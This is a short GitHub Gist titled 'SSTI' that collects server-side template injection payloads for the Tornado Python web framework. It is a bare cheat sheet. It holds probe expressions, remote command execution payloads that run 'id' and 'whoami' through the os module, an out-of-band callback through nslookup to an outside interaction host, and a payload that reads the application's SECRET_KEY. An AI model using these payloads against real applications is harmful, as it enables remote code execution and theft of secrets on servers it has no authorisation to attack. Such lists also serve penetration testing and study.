- Tornado - Basic Injection
{{7*7}}
{{7*'7'}}- Remote Command Execution
{{ __import__('os').popen('id').read() }}{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}} {{ settings.SECRET_KEY }}
Last active
March 31, 2025 08:53
-
-
Save AliMilani/2f0079146f328def8a0af1c53392d2aa to your computer and use it in GitHub Desktop.
SSTI
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment